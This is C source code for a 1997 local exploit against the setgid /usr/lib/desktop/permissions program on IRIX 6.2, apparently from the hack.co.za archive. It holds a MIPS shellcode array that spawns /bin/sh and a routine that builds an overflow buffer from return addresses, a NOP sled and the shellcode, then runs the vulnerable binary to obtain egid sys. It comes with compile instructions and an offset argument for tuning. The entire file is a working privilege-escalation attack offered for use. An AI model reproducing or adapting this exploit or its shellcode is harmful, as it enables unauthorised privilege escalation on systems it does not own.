/* /usr/lib/desktop/permissions exploit by DCRH 26/5/97
 *
 * This gives you egid = sys
 *
 * Tested on: R8000 Power Challenge (Irix64 6.2)
 *
 * Exploit doesn't work on Irix 5.x due to stack position
 *
 * compile as: cc -n32 perm.c
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>

#define NUM_ADDRESSES   400
#define BUF_LENGTH      700
#define EXTRA           500
#define OFFSET          0x200
#define GP_OFFSET       31612
#define IRIX_NOP        0x03e0f825    /* move $ra,$ra */

#define u_long unsigned

u_long get_sp_code[] = {
  0x03a01025,         /* move $v0,$sp   [2000]*/
  0x03e00008,         /* jr $ra         [2000]*/
  0x00000000,         /* nop            [2000]*/
};

u_long irix_shellcode[] = {
  0x24041234,         /* li $4,0x1234   [2000]*/
  0x2084edcc,         /* sub $4,0x1234  [2000]*/
  0x0491fffe,         /* bgezal $4,pc-4 [2000]*/
  0x03bd302a,         /* sgt $6,$sp,$sp [2000]*/
  0x23e4012c,         /* addi $4,$31,264+36   */
  0xa086feff,         /* sb $6,-264+7($4)     */
  0x2084fef8,         /* sub $4,264     [2000]*/
  0x20850110,         /* addi $5,$4,264+8     */
  0xaca4fef8,         /* sw $4,-264($5) [2000]*/
  0xaca6fefc,         /* sw $4,-260($5) [2000]*/
  0x20a5fef8,         /* sub $5, 264    [2000]*/
  0x240203f3,         /* li $v0,1011    [2000]*/
  0x03ffffcc,         /* syscall 0xfffff[2000]*/
  0x2f62696e,         /* "/bin"         [2000]*/
  0x2f7368ff,         /* "/sh"          [2000]*/
};

char buf[NUM_ADDRESSES+BUF_LENGTH + EXTRA + 8];

void main(int argc, char **argv)
{
  char *env[] = {NULL};
  u_long targ_addr, stack, tmp;
  u_long *long_p;
  int i, code_length = strlen((char *)irix_shellcode)+1;
  u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code;

  stack = get_sp();

  if (stack & 0x80000000)
    {
      printf("Recompile with the '-n32' option\n");
      exit(1);
    }

  long_p =(u_long *)  buf;
  targ_addr = stack + OFFSET;

  if (argc > 1)
    targ_addr += atoi(argv[1]) * 4;

  if (targ_addr + GP_OFFSET > 0x80000000)
    {
      printf("Sorry - this exploit for Irix 6.x only\n");
      exit(1);
    }

  tmp = (targ_addr + NUM_ADDRESSES + (BUF_LENGTH-code_length)/2) & ~3;

  while ((tmp & 0xff000000) == 0 ||
         (tmp & 0x00ff0000) == 0 ||
         (tmp & 0x0000ff00) == 0 ||
         (tmp & 0x000000ff) == 0)
    tmp += 4;

  for (i = 0; i < NUM_ADDRESSES/sizeof(u_long); i++)
    *long_p++ = tmp;

  for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
    *long_p++ = IRIX_NOP;

  for (i = 0; i < code_length/sizeof(u_long); i++)
    *long_p++ = irix_shellcode[i];

  tmp = (targ_addr + GP_OFFSET + NUM_ADDRESSES/2) & ~3;

  for (i = 0; i < EXTRA / sizeof(u_long); i++)
    *long_p++ = (tmp << 16) | (tmp >> 16);

  *long_p = 0;

  printf("stack = 0x%x, targ_addr = 0x%x\n", stack, targ_addr);

  execle("/usr/lib/desktop/permissions", "permissions",
         "-display", getenv("DISPLAY"), "/bin/ls", buf, 0, env);
  perror("execl failed");
}
/*                    www.hack.co.za              [2000]*/